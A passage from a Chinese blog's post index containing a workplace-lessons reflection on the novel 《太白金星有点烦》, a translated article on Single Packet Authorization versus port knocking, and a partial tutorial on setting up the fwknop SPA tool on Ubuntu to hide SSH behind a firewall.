天庭西天都将跟脚，办事看人都要先看跟脚。奎宿昴宿不把抢百花羞当回事，因为有保护伞，最后其实还是拼谁的跟脚硬。\n但是没有跟脚就全不行吗？不至于全不行，但是代价太大，比如六耳猕猴最后也把天庭搞了个底翻天，但是付出了生命的代价。百花羞得到取经团队的帮助才逃离魔掌，只能算幸运。\n关于监督部门 过程监督 跟着取经队伍的四值功曹，五方揭谛，六丁六甲，一十八位护教珈蓝，足足三十九尊大神都是过程监督。\n过程监督的人一般不沾边，光看不做，但是如果你能给分点利益，也不是完全不能帮忙。\n比如李长庚就在黄风岭找了护教珈蓝帮忙掩盖项目中的纰漏，但是请这帮人帮忙要特别注意，关键核心的问题还是不能让他们知道，比如李长庚虽然请护教珈蓝救悟空，但是后面的安排的弯弯绕，就绝不让护教珈蓝知道了，要不然可是无尽的麻烦。\n纪检部门 李长庚去了两次三官殿，两次都颇有玄机。\n一次是西天派人查观音，找李长庚协查。\n是文殊、普贤借三官殿的地方，黎山老母陪同。虽然看上去也吓人，但是首先哪吒帮观音传了句话，让李长庚心里有底，说明不是观音举报的。在李长庚感到压力最大的时候，黎山老母给了一杯茶，让李长庚心里更托底，直接就把文殊、普贤给怼回去了。\n哪吒和黎山老母的暗示都特别简单，李长庚有那个悟性，没有任何一句话是废话。最主要的还是文殊和普贤再厉害也是西天的，不是一个系统的，对李长庚构不成实质威胁。\n第二次是三官殿正式找李长庚，因为六耳猕猴的事儿。\n这事儿其实还真跟李长庚没关系，但是气氛要严肃得多，后果也严重得多。这次虽然还是哪吒通知他，但是一点暗示没有，中间更不会有人给他提点。\n真的严重的问题，不会有人冒风险帮你。\n李长庚被免职，但是免职也有免职的学问。那个后说。\n另外三官殿的官员对于人事安排最敏感——为什么敏感？哪些人敲打敲打，哪些人要严查，查到什么程度，心里没点数也不行。\n职场常规招式 挖坑 观音上来就给李长庚挖坑，他先找李长庚参与护法，但是根本没告诉李长庚要81难，李长庚还以为是一难完事。李长庚折腾完一难，才知道后面还有一堆活，差点没怄死。\n然后观音说“我帮你数数”，看这坑挖的，本来是他观音的事儿，立马成了李长庚的事儿。\n挖坑很多都是信息差，所以尽量掌握全面的信息是避坑的第一要务。\n观音挖坑还不止派活上，比如开始给唐僧送袈裟送禅杖，他根本不和李长庚说，自己就去了。等到设计劫难了，让李长庚上。\n好事儿都是观音的，得罪人的都是李长庚的。\n但是观音这么干太小儿科了，立马得罪了李长庚，之后李长庚也给了他好看。\n要说挖坑的老狐狸，还得是李长庚，他收拾奎宿和昴宿就做得不显山不露水，他明知道奎宿昴宿怕查岗，就单挑他们不在岗的时候发了个加急文书。\n就像刚看知道你偷偷出门，就给你们部门领导发了个邮件，要求半个小时内给予回复，领导肯定找你要，脱岗这事儿就露馅了。\n得罪谁，不要得罪办公室，办公室是不显山不露水折腾的小能手。\n巧立名目 要说巧立名目，书里的观音和老君是两个好手。\n观音的巧立名目主要在搞业绩上，一个劫难能让他细分出三个来，凑数高手。\n工作做得怎么样不重要，重要的是工作总结怎么写。\n太上老君的巧立名目高阶很多，主要是搞款项上，一个烂尾工程能让他巧立名目收罗无数法宝，后来派弟子下去参与护法，看着大方带了一堆法宝，但是法宝坏了，就又有修法宝的名目了。\n太上老君巧立名目敛财的行为和很多公司IT部门搞系统投资有一拼。\n利益共享 李长庚做事很注重利益共享。\n比如给监督团队安排点护法的小活，监督团队领了名自然也领李长庚的好。\n比如帮观音搞搞形象建设，对外宣传，巩固了观音的位置，也帮自己在项目上省点心。\n比如知道太上老君爱财，那就给个机会让太上老君既参与护法犹能捞一笔。\n方方面面利益都考虑到，之后大家利益共享了，才能真正形成牢固的关系。\n假招式的价值 观音装作普通方丈给唐僧送袈裟，刚送完就现真身；李长庚安排护法迦蓝救孙悟空，刚救出来也现身，连猪八戒都看不下去，直说太假。\n但是假招子必不可少，比如你给领导送小海鲜，小海鲜不值钱，可你也不能什么都不拎着直接掏现金。\n职场中好多一样，假是假，但是大家都知道假也得做，那是块遮羞布，再薄，该遮着的也得遮着点。\n宣传部门 李长庚总是自己写揭帖，不是没有宣传部门，比如魁星，可是他们懒，各种问，各种要资料，还不如自己写。\n公关部不想写的，你业务部门该写还得自己写，毕竟宣传的是自己项目，不能和人家斗气，损失了自己的宣传机会。\n文书写法 观音和李长庚这两位项目经理主要工作除了安排协调，最最最重要的就是写揭帖，算是总结也是对活动的宣传，揭帖甚至远远比护法过程还重要。\n该写什么，不该写什么，什么详细写，什么一笔带过都是学问，体现什么，宣传什么那都是重中之重，所以笔杆子好在职场里很重要。\n内斗 天庭有天庭的内动，西天有西天的内斗，取经队伍有取经队伍的内斗，地府有地府的内斗。\n有人的地方就有江湖，内斗无处不在。\n永远不要为了逃离内斗而辞职，这里斗不赢，换个地方还是输。\n有内斗就兵来将挡水来土掩，斗着斗着就有经验了。\n免职 李长庚被免职，立马王母就找他谈话，免职后领导还搭理你，说明没大事儿，大概率是暂时的。\n免职后，彻底没人搭理你，大概率是凉凉的。\n升职，免职，都是一种手段，一直升职不一定就好，有可能在捧杀，被免职也不是就死透了，还有可能被保护。\n对自己被免职心态摆好，对别人被免职，擦亮眼睛。\n个人成长 成熟 成熟这个事可是不容易，千年狐狸遇到老妖也玩不转。一山更有一山高。\n观音遭遇职场危机，李长庚帮忙化解，对李长庚佩服，评价他绵里藏针，以德报怨。直言“相比之下我太不成熟了，得向你学习。”\n相比李长庚，观音有点沉不住气，什么事儿做的都太明，太急，这是他的不成熟。\n在三官殿，黎山老母拦住文殊问沙悟净，因为沙悟净是王母的人，当时李长庚没意识到。黎山老母又趁着休息时给李长庚递了杯茶，顺嘴说了句“这三官殿的茶比不上瑶池的劫前雨露茶。”李长庚才意识到这事儿王母罩着没事儿。\n李长庚自己感慨自己还不够成熟。\n很多事儿很微妙，不能说明，就是点，人家点你，你得琢磨。\n自保 李长庚大部分出发点就是自保，取经项目，他想的是稳稳妥妥把项目弄完，什么创新不创新的，哪都不重要，别得罪人，别进坑就行。\n六耳猕猴找他，他意识到后面有大事件的时候，宁愿自己什么都不知道，绝不蹚浑水，这也是自保。\n很多时候，自保也不容易，小心翼翼如履薄冰。\n自保重点是要知道自己的能力范围，哪些能掺和，哪些别掺和，要有清醒认知。\n底线 并不是所有事情自保就行，触及底线了，该出手时要出手。\n比如奎宿强抢百花羞的事儿，就触及了观音和玄奘的底线，也成了取经团队的转折点，直接影响了最后玄奘的选择。\n底线思维很重要，不能什么时候都和稀泥，该有立场的时候要有立场。\n风起于青萍之末，一个小事儿如果触及了大部分人的底线就可能会引起一场风暴。\n但是百花羞这种“幸运”其实是少之又少。\n打工人打工魂 打工人吴刚天天砍树，砍完合，合完砍。李长庚最初觉得他可怜。\n但是吴刚砍树看出了不一样的体会，简直是东方的西西弗斯。\n最后李长庚发现，其实自己和吴刚也没区别。\n打工人打工魂，慢慢修炼吧。\n境界 李长庚最后达到了金仙境界，代价是超脱因果，太上忘情。\n让李长庚突破关隘的是六耳猕猴事件。\n李长庚开始 隐约知道六耳猕猴牵出来当年大闹天宫的内情——孙悟空不过是个顶锅的，真正的始作俑者是玉帝的小舅子二郎神。二郎神是皇亲国戚，事情过了500年，谁都不想把这事给折腾出来，李长庚当然不想管。\n这期间李长庚心里的两个小人各种战斗，一个清气代表着理性，正统，代表着超脱因果，另外一个浊气其实代表着李长庚的心里残留的血气，是感性的，冲动的，具有人性化的一面。\n理智告诉李长庚不能管这事儿，也管不起，但是感性又让他觉得六耳猕猴冤。\n王母即警告又是承诺地告诉他“超脱因果，太上忘情。”——别掺和这事儿，金仙可期。\n至于怎么斩断，要看自家能否做到太上忘情。李长庚意识到，之前迟迟没有进境，就是太过感情用事，以至于因果缠身。\n但是孙悟空对他说，“你若证不得金仙，就算知道真相，有害无益；等你证得金仙，言出法随，真不真相的有什么关系。”这一句话说到了要害，位置足够高的时候，你就是真相。\n最后，李长庚还是把真相偷偷地告诉给悟空，并在证得金仙时保留了自己的一份“浊气”。\n他想透了那段提点的真解“超脱因果，不是不沾因果，而是只存己念；太上忘情，也不是无情无欲，而是唯修自身。”——一切以自身的修行为念，不为下界之事动摇心境。如此一来，因果可以沾而不染，情欲也可以挂而不爱，境界截然不同。\n这是精致的极端利己主义吗？或许吧\n打工人也好、高管也好、老板也好，人活一世，唯修自身而已。\n其他 委屈 六耳猕猴被孙悟空冒名顶替相当于现在冒名高考，一心要个公道。李长庚虽然同情他，却没有给他什么实质帮助，甚至在需要的时候利用他，利用他之后又想一脚把他踢开。\n六耳猕猴发现了大闹天宫的秘密，他对仙界局势一无所知，傻乎乎跑去举发，引起三官殿如临大敌，李长庚也被卷进去。\n最后六耳猕猴以命相搏，惨死如来座前。\n六耳猕猴资质高，就算是放弃之前的百年修为，重新来过，还是有可能有大修为，可惜他讨回公道的执念，和要回公道的能力不成正比。\n有时候，职场里，生活里，有的委屈你不咽下去，也得咽下去。不如等自己有了势力扭大腿的时候再说。\n创业的朋友 镇元子和李长庚是同学，李长庚做了公务员，镇元子搞人参果种植，赚得盆满钵满。\n镇元子创业既无考勤打卡之苦，又无同僚倾轧之苦，甚是逍遥。他很是会包装，宣扬，见了观音赶紧先拍照留影，一听能参与一个环节，立马把方案搞得浮夸无比，时时与人参果这个产品捆绑。\n镇元子真是做生意的一把好手，脑子灵活，善于营销造势，借力打力。\n服务公司 白骨精是服务公司，服务态度好，方案做得好，什么事儿都帮你考虑到了，客户服务也到位，哄得李长庚开心。\n只是三个人都是一个人扮的，做得辛苦，而且尾款收的难。\n小公司都是一个人当三个用。\n服务公司拿项目难，收尾款更难。\n烂尾工程 太上老君的三尖峰是著名的烂尾工程，最初计划设定完了，老君说风水不对，换了个山头，弄一半，二郎神站出来说要建个庙，庙建完了，又不满意，三尖峰越劈越细，最后全塌了，成了平顶山。\n劈了建，建了劈，折腾了500年，天材地宝扔了无数，什么也没修成。\n这事最后谁拿了最大好处，当然是老君。\n通常的烂尾工程，后面都有猫腻，只不过这猫腻，李长庚也不敢碰。\n外包公司 地府生死簿系统崩了，导致鬼都投胎不了，鬼官们只好人工操作，要不是在地府能直接给累死，可还是混乱一片。\n九殿阎罗互相扯皮，真相生死簿系统升级外包。\n外包转手多方，本来是包给太乙玄门做，但是道家正统不过就是拿了自家的名号中标，然后又转给了车迟国的野道士，野道士又包给虎力大仙。\n水平有限，系统被搞崩了。\n外包坑人，外包公司人苦命啊。\n小说来还涉及了拐卖妇女、冒名高考、基层贪腐、暗箱操作等等，太长了，有时间再慢慢补。\n最后项目负责人观音圆满完成任务，职场老油条李长庚得证金仙。培养对象玄奘找回初心，真身回归大唐译法传法，孙悟空去寻冤死的六耳猕猴要给他一个公道，猪八戒大有改变，沙僧嫉恶如仇得到认可。\n几个人到底还都是心里有底线，保有真心的人。\n原文好句摘抄 超脱因果，不是不沾因果；太上忘情，不是无情无欲。\n一切不合理的事情背后，都有一个合理的理由，只是你不知道罢了。\n很多人间执念我们无法理解，但不代表那些痛苦就不存在。\n大德轮回不息，求真不止。\n一个人若是做事没有代价，怎么能保证别人不效仿？\n将帅必起于卒伍，宰相必起于州部。不在红尘洗礼一番，你成佛了也不能服众。\n青灯古佛固然前途大好，也有人宁愿守着一亩三分地过日子\n斗归斗，却不要做绝，绝则无变，终究要存一分善念，方得长久。\n协调的关键是，不怕你提的要求奇怪，就怕不知你要什么。只要掌握了各方的真实诉求，东哄哄，西劝劝，怎么都能协调出一个多方都能接受的方案。\n文末吐槽 文中还有地府的生死簿系统就是屎山代码，只要能运行，就不要随便改，否则容易崩！（真的泪目！！！）\n最后也想说很多事情我们不用那么认真。但是人又确实还需要找到一点确定性的东西，让你觉得踏实，让你觉得一切没有那么空，就像孙悟空和玄奘到最后经历了那么多，选择去做真实的自己了。我觉得这就挺好，是自己真正想做的事情，就不会觉得心累了。\n永远少年！永远赤诚！永远年轻、永远渴望踏上新的征程！\n","relPermalink":"/posts/archive/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8%E5%A4%AA%E7%99%BD%E9%87%91%E6%98%9F%E6%9C%89%E7%82%B9%E7%83%A6%E9%98%85%E5%90%8E%E6%9C%89%E6%84%9F/","summary":"本文打上的Tag是国学经典也是想从本文出发，开始深入学习以《周易》为核心的国学经典著作。","tags":["阅读思考","读书笔记","国学经典","读后总结"],"title":"《太白金星有点烦》阅后有感","unix":1724205600,"year":"2024"},{"date":"2024-02-27","dateISO":"2024-02-27","permalink":"https://bluedog.website/posts/archive/%E5%A5%BD%E6%96%87%E7%BF%BB%E8%AF%91/%E5%A5%BD%E6%96%87%E7%BF%BB%E8%AF%91fwknop%E5%8D%95%E5%8C%85%E6%8E%88%E6%9D%83/","plain":"作者：Michael Rash\n译者：卜宋博\n摘要 单数据包授权填补了端口敲门中的空白。\n由于无数个软件、协议及其错综复杂的相互依赖关系形成了一个庞大系统，这种结构的复杂性使得确保系统的任何特定属性—特别是安全性，就变得极其困难。即便是那些专门设计以增强安全性的软件，在拥有深入洞察力的专家的挑剔眼光下，也可能被发现存在潜在的弱点。从防火墙到SSH 协议的实现中都发现了漏洞。例如，OpenSSH 是由世界上一些最注重安全性的开发人员开发出来的，但它偶尔也会包含可远程利用的漏洞。这是一个需要注意的重要事实，表明安全性非常难实现，因此支持纵深防御方法。本文研究了单数据包授权 (SPA) 的概念，作为一种超越端口敲门的下一代被动身份验证技术。\n当攻击者试图利用服务器软件（而不是客户端软件）中的漏洞时，第一步是侦察，即攻击者需要找到一个目标。Nmap 已出色地实现了这一过程的自动化，因此很容易构建一个可能易受攻击的目标系统列表。如果您碰巧正在运行的服务器软件中存在零日漏洞，那么您肯定不想出现在此目标列表中！端口敲门技术和单数据包授权技术都使用以默认丢弃方式配置的数据包过滤器，同时仅向能够通过被动机制证明其身份的 IP 地址提供服务。无需 TCP/IP 堆栈访问即可通过这种被动方式验证远程 IP 地址。以这种方式进行保护时，Nmap 甚至无法判断服务器是否正在运行，即使攻击者拥有零日漏洞，他们也无能为力。\n本文是关于单数据包授权的两部分系列文章的第一部分，它为单数据包授权奠定了理论基础，并解释了它为何是超越端口敲门的下一代被动授权技术。下一章将提供有关如何使用 fwknop 为 SSH 守护程序提供单数据包授权保护的实践指导。\n端口敲门简介 端口敲门是一种早期技术，它利用 TCP 和 UDP 数据包头中的端口字段来传递信息。通常，这些协议用于封装应用程序层数据，但端口敲门通过使用端口号本身作为数据字段，将信息编码为发送到各个端口的数据包序列。这些数据包通常通过防火墙日志或数据包捕获机制（如 libpcap）进行监控。通常情况下，会有一个端口敲门客户端和一个端口敲门服务器。在这种情况下（以及本文的其余部分中，除非另有说明），术语客户端和服务器分别指发送和监控数据包的软件组件。客户端负责生成端口序列，服务器负责被动接收序列，并在收到有效序列后重新配置数据包过滤器以允许连接到受保护的服务。\n典型的端口敲门场景是端口敲门服务器配置数据包过滤器以阻止对服务（如 SSH）的所有访问，直至端口敲门客户端发送特定的端口敲门序列。例如，服务器可能要求客户端按以下顺序向以下端口发送 TCP SYN 数据包：\n23400 1001 2003 65501 如果服务器监视此敲门序列，则会重新配置数据包过滤器，以允许来自发出该序列的 IP 地址的 SSH 连接。利用数据包过滤器提供的连接跟踪机制（如 Netfilter 中的 conntrack 系统），即使敲门服务器创建的初始规则在超时后被删除，SSH 会话仍然可以保持建立状态。端口敲门序列可以加密，许多实现已在 http://www.portknocking.org 上列出。有关端口敲门操作的图形表示，请参见图 1。\n图 1. 端口敲门操作\n端口敲门的局限性 端口敲门可以有效限制对服务的访问，但局限性在哪里呢？首先，加密敲门序列不可避免地会带来信息传输，而信息量的大小与加密算法有关。对于对称加密算法，加密数据量至少与块大小相当（例如，高级加密标准中采用的 Rijndael 对称块密码，块大小为 128 位）。对于非对称加密算法，加密数据量会更大。\n例如，GnuPG 中使用的原始 ElGamal 算法在对数据进行加密时，密文长度是明文长度的两倍。即便 GnuPG 采用了压缩技术（有时可以使密文长度小于原始明文长度），但 GnuPG 密钥通常较大，导致即使是短小消息的密文也会达到数百字节。\n端口敲门场景下尤为重要。由于 TCP 和 UDP 头部仅提供 16 位宽度的端口字段，因此端口敲门序列中每个数据包仅能承载两个字节的信息（假设包头中其他字段不参与承载数据，即便参与，承载量级也远小于数据载荷）。因此，对于分组密码而言，密码序列至少需要包含 B/(2*8) 个数据包，其中 B 为分组大小（以比特为单位）。从当前网络的普遍速度和可靠性来看，这本身并不可怕，真正的问题在于乱序投递。\n乱序投递数据对解密造成困难，由于端口敲门客户端与服务端不存在类似 TCP 意义上的“连接”概念，因此服务端无法对乱序数据包进行重新排序。\n数据包可能走不同的路由，部分路由可能是慢的，因此客户端必须求助一种人为机制来尽量减小乱序到达的可能性：时间。在敲门序列中每个数据包之间引入时间间隔（比如半秒），通常可以保证数据包到达服务端时仍然是有序的。现在，对于128位块大小，对应的端口敲门序列为128/(2*8) = 8个数据包。当考虑半秒的延迟时，仅仅传递序列就需要四秒。对于更大的消息（比如非对称密码产生的消息），这样的数据传输速度是不可接受的。\n数据传输能力的限制还给端口敲门方案带来另一个限制。很难有效防御重放攻击。任何能够监视客户端发往服务器的敲门序列的人都可以自由地针对服务器重放该序列，以试图获得相同的访问权限。如果该序列通过 NAT 设备传递，并且服务端的数据包过滤规则允许的源IP是外部的NAT地址，则这是一个特别严重的问题。比如，如果端口敲门客户端位于 RFC 1918 子网比如 10.10.1.0/24，而端口敲门服务器位于只能通过公网访问的远端网络上，那么服务器必须允许来自NAT IP的访问。那么，相同子网上的任何人只要能重放该序列，就可以获得相同的访问权限。另外，只要规则存在，相同子网上的任何人都有相同的访问权限，一旦实例化规则以接受来自 NAT 地址的连接（此时不需要序列重放，SPA 也是如此）。\n为了尝试解决重放问题，人们对传统的端口敲门进行了各种修改，例如引入时间窗口、使用 S/Key 风格的哈希迭代，甚至在每次使用后简单地更改加密密钥。然而，这些方法都需要端口敲门客户端和服务器维护某种状态，并且当涉及多个用户时，其可扩展性并不是很好。\n端口敲门的另一个限制是，恶意第三方只需将一个额外的数据包伪装成客户端通过线路发送的端口序列，就极易破坏敲门序列。攻击者只需将数据包的源地址设置为与真实客户端的源地址相同，并选择与客户端发送的最后一个数据包相同的端口号。这个额外的包会破坏敲门序列，因此服务器不会允许合法客户端进行任何其他访问。尽管人们实际执行此操作的可能性相对较小（他们仍然需要能够监视从客户端发出的数据包），但主要问题是此类攻击非常容易执行。只需一个数据包，攻击者甚至不需要与原始数据包数据路径处于同一链路上。\n最后，任何能够监视客户端和服务器之间流量的入侵检测系统 (IDS) 都可以轻松地将敲门序列检测为端口扫描。对于加密的敲门序列尤其如此，它们往往比简单的共享序列更长。对于 IDS 而言，端口敲门看起来就像是从单个 IP 地址在相对较短的时间内对各种端口进行一系列探测，这非常符合端口扫描的定义。\n单包授权 综上所述，端口敲门提供了增强安全性的诸多好处，但也存在一些需要解决的严重局限性。单包授权是一种相对较新的协议，它保留了端口敲门的所有好处，但修复了上面讨论的局限性。第一个公开可用的 SPA 实现于 2005 年 5 月发布，作为称为 fwknop（http://www.cipherdyne.org/fwknop）的软件的一部分。最初创建于 2004 年的 fwknop 是第一个将被动操作系统指纹识别和端口敲门相结合的端口敲门实现（这使得可以执行诸如“仅接受来自 Linux-2.4 系统的敲门序列”之类的操作），但 SPA 方法现在是 fwknop 提供的最流行（也是默认的）身份验证方法。需要注意的是，fwknop 提供身份验证和授权服务，但本文的范围不包括对两者之间差异的全面讨论。\n单数据包授权要求与端口敲门类似的体系结构。二者均有客户端和服务器组件，服务器控制默认丢弃数据包的过滤器，并且服务器被动监视数据包。然而，端口敲门和 SPA 的体系结构相似性也仅限于此。\n单数据包授权将数据传输转移至其所属的位置——应用层。这意味着，SPA 能够在每个数据包中发送多达最小 MTU 值（以太网网络上的 1500 字节）的数据，而端口敲门只能在每个数据包中发送两个字节的数据。这远远超过了端口敲门可能的数据传输速率，并且能够轻松访问如此数量的数据包数据，从而开辟了巨大的可能性。本文其余部分讨论了 fwknop 实现的单数据包授权。\nfwknop 在应用程序层定义了以下数据包格式：\n16字节随机数据 客户端用户名 客户端时间戳 fwknop版本 模式（访问模式/命令模式） 访问（或命令字符串） MD5校验和 SPA数据包格式中许多字段长度可变，但以“：”字符分割（字段经过base64编码，因此嵌入的冒号不会破坏此语法）。fwknop客户端构建上述数据包格式后，整个数据包将使用两种加密算法之一进行加密：具有128位共享密钥的Rijndael对称分组密码或使用GnuPG生成的具有高达2048位公钥/私钥对的非对称ElGamal算法。fwknop客户端默认通过UDP端口62201发送SPA数据包，但这可以通过命令行轻松更改；请参阅–Server-port参数。（fwknop提供了许多配置选项——请参阅资源以获取文档和手册页的链接。）有关SPA操作的图形表示，请参见图2。\n图 2. SPA 操作\n16 字节的随机数据解决了端口碰撞中最高优先级的限制之一——重放问题。每个 SPA 数据包加密前添加 16 字节随机数据，fwknop 服务器解密后，缓存整个数据包的 MD5 校验和。随机数据使每个 SPA 数据包都不同（即使发送相同的访问指令），因此每个数据包的 MD5 校验和也不同。若新数据包的 MD5 校验和与先前数据包匹配，fwknop 服务器不采取任何操作，并写入 syslog 警告消息。因此，被第三方拦截的 SPA 数据包无法在网络上重播以绕过默认丢弃数据包的过滤器。\nfwknop 将客户端用户名和时间戳放入数据包中，fwknop 服务器使用用户名为远程用户维护不同的授权级别。fwknop 可安装在多用户系统上，每个用户可被授权通过远程 fwknop 服务器连接到不同的服务。fwknop 版本字段用于保持向后兼容性。新版本中可添加或删除字段，但通过使用版本号，fwknop 服务器可与旧客户端构建 SPA 数据包的方式兼容。模式字段告诉 fwknop 服务器客户端是要访问服务还是执行命令（下一个字段使用特定的访问控制指令或命令）。例如，要访问 TCP 端口 22，访问字段将包含字符串 ,tcp/22，其中 \u003cIP 地址\u003e 是客户端选择放入数据包的任意 IP 地址。最后，MD5 校验和字段包含客户端在传输前未加密的数据包的 MD5 校验和。服务器在解密后使用此字段验证消息完整性。\nSPA 数据包传输更多数据解决了重放问题和端口敲门方案中极低的数据传输速率。端口敲门中的另外两个限制也可以被解决。首先，SPA 协议的单数据包性质意味着恶意第三方无法仅仅通过欺骗数据包到与受监视的 SPA 数据包发送的相同端口来破坏身份验证方案。最后，由于 SPA 协议只需要一个数据包，因此对于任何中间 IDS，它看起来都不像端口扫描。任何 IDS 都只能看到一个看似毫无意义的数据块，似乎是随机发送到某个 IP 地址的。\n结论 单数据包授权在保护服务方面提供了类似端口敲门的安全优势，这些服务使用默认丢弃策略配置的数据包过滤器。任何人以这种方式扫描受保护的目标服务时，都无法检测到此类服务正在监听，这使得利用零日漏洞也更加困难。SPA 为端口敲门实现的诸多限制提供了巧妙的解决方案。这些解决方案使 SPA 能够解决重放问题、实现支持非对称加密使用的数据传输速率、挫败简单的欺骗攻击，并避开监视网络端口扫描的入侵检测系统的侦察。\n请参阅下个月的 LJ，了解本文的第二部分，其中将详细展示如何使用 SPA。\n参考资料 Krzywinski, M. 2003.“端口敲门：跨越关闭端口的网络认证”。SysAdmin 杂志 12：12-17 ElGamal 加密：http://en.wikipedia.org/wiki/ElGamal_encryption 在我撰写本文时，我所知道的其他 SPA 实现只有一个，可从 http://www.unspecific.com/spa 获得 另一个名为 Tumbler（http://tumbler.sourceforge.net）的实现使用单个数据包，但它使用哈希有效负载而不是加密有效负载，这导致了截然不同的架构 fwknop 文档和手册页：http://www.cipherdyne.org/fwknop/docs ","relPermalink":"/posts/archive/%E5%A5%BD%E6%96%87%E7%BF%BB%E8%AF%91/%E5%A5%BD%E6%96%87%E7%BF%BB%E8%AF%91fwknop%E5%8D%95%E5%8C%85%E6%8E%88%E6%9D%83/","summary":"由于无数个软件、协议及其错综复杂的相互依赖关系形成了一个庞大系统，这种结构的复杂性使得确保系统的任何特定属性—特别是安全性，就变得极其困难。即便是那些专门设计以增强安全性的软件，在拥有深入洞察力的专家的挑剔眼光下，也可能被发现…","tags":["技术译文","翻译","漏洞研究","网络工具"],"title":"单包授权","unix":1708999200,"year":"2024"},{"date":"2024-01-20","dateISO":"2024-01-20","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E9%9B%B6%E4%BF%A1%E4%BB%BB/%E5%BC%80%E6%BA%90%E5%8D%95%E5%8C%85%E6%8E%88%E6%9D%83%E5%B7%A5%E5%85%B7fwknop%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/","plain":"0x01 FWKNOP介绍 SDP架构下保护的业务服务只允许被认为合法的报文进行访问，丢弃“非法”报文，从而实现了业务服务隐身。SDP 架构分为三个部分：SDP Client、Controller、Gateway。所有的Client在访问资源之前，都要通过Controller服务对SPA单包验证和访问控制， 由Gateway对应用进行业务处理。如下图所示：\n本文中提到的fwknop实现了一种称为单包授权（SPA）的授权方案，用于隐藏服务。SPA将单个数据包经过加密，不可重放，并通过HMAC进行身份验证，以便在传达到隐藏在防火墙后面的SPA的主要应用场景是防火墙来过滤一切SSH等服务流量，从而使漏洞的利用(包括0day的和未打补丁)变得更加困难。由于没有开放端口，因此无法使用Nmap扫描SPA隐藏的任何服务。fwknop在Linux上支持iptables和firewalld，在FreeBSD和Mac OS X上支持 ipfw，在OpenBSD上支持PF和libpcap。\nSPA通过减少暴露的服务端口，以及使用动态、单一数据包进行授权，增加了安全性，使得攻击者更难以发现和利用潜在的漏洞。这与零信任模型的理念相符，即不信任任何内外网络，通过有效的身份验证和授权来保护资源。\n0x02 环境介绍\u0026配置 使用Ubuntu 20.04环境进行搭建ubuntu 镜像下载地址 点击下载，依赖源为清华源镜像\n网络地址规划\u0026系统密码：\n主机 地址 Server 192.168.31.211 Client 192.168.31.37 Ubuntu换源\nsudo su sudo vim /etc/apt/source.list #将下文写入 并保存 # 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse deb http://security.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse # deb-src http://security.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse # 预发布软件源，不建议启用 # deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse # # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse sudo apt update 0x03 fwknop源码下载\u0026编译\u0026安装 从github下载程序，首先安装前置工具\nsudo apt install git make gcc libpcap gawk mawk libpcap-dev 使用git命令将代码下载到本地\ngit clone https://github.com/mrash/fwknop.git cd fwknop chmod +x configure ./configure --prefix=/usr --sysconfdir=/etc --disable-client # 这一步用来检查依赖安装是否完整 如图这一步即为成功\n继续编译程序,注意需要使用root权限来运行程序\nsudo make sudo make install which fwknopd #如果能成功找到文件代表安装成功 0x04 配置fwknop服务端 fwknopd.conf需要配置的信息为网卡名称 在40行的位置\nPCAP_INTF ens33 access.conf需要配置的敲门规则，以及客户端的token，生效时间等等\nkey之类的东西先不管，会在客户端进行生成\nSOURCE ANY OPEN_PORTS\ttcp/22 KEY_BASE64 TxpMVCiWRxc6IUR0rmABy2jKTDnI3SFa1MRD8fuOtgc= HMAC_KEY_BASE64 mm+lPMq6WY8QHOcZdJ80XmDlNbWw+7zOJB87uw5wf9ShkgPiykxXDgPUeA+X6UlUF6Oa3MTEcSR0GMUZjm6sJQ== FW_ACCESS_TIMEOUT\t20 # If you want to use GnuPG keys then define the following variables # #GPG_HOME_DIR /homedir/path/.gnupg #GPG_DECRYPT_ID ABCD1234 #GPG_DECRYPT_PW __CHANGEME__ FW_ACCESS_TIMEOUT设置20表示敲门，门开会保持20s，20s过了以后，门关闭\n开启与关闭\nsudo fwknopd start 启动服务 sudo fwknopd -S\t查看服务运行PID kill -9 [pid] 结束进程 0x05 安装客户端验证服务成功 sudo apt install fwknop-client 成功安装之后 使用如下命令生成验证信息\nfwknop -A tcp/22 -a 192.168.31.37 -D 192.168.31.211 -p 62201 -P udp --key-gen --use-hmac --save-rc-stanza -a后为客户端ip，-D后面为服务器ip，-p后为服务器监听SPA包的端口，-P后为发送的SPA包的协议，一般采用UDP包。\n执行后生成了文件.fwknoprc文件中有key，将key放入access.conf配置信息\n通过iptales封禁22端口,这一步的意义是手动关闭22端口 ，在敲门之后程序会创建一个iptables规则，放行22端口\nsudo iptables -I INPUT 1 -i ens33 -p tcp --dport 22 -j DROP sudo iptables -I INPUT 1 -i ens33 -p tcp --dport 22 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT 使用端口扫描工具进行测试，效果如下图\n打开客户端工具进行敲门\nwknop -n 192.168.31.211 验证成功\n观察iptables的变化 敲门前\n敲门后\n可以看到客户机的用户名 以及创建一条iptables规则放行ssh端口\n0x06 总结与展望 本文档详细介绍了fwknop环境搭建的全过程，从解释fwknop单包授权（SPA）的概念开始，阐释了其在安全动态端口敲门（SDP）架构中的重要作用。文中详尽指导了如何在Ubuntu 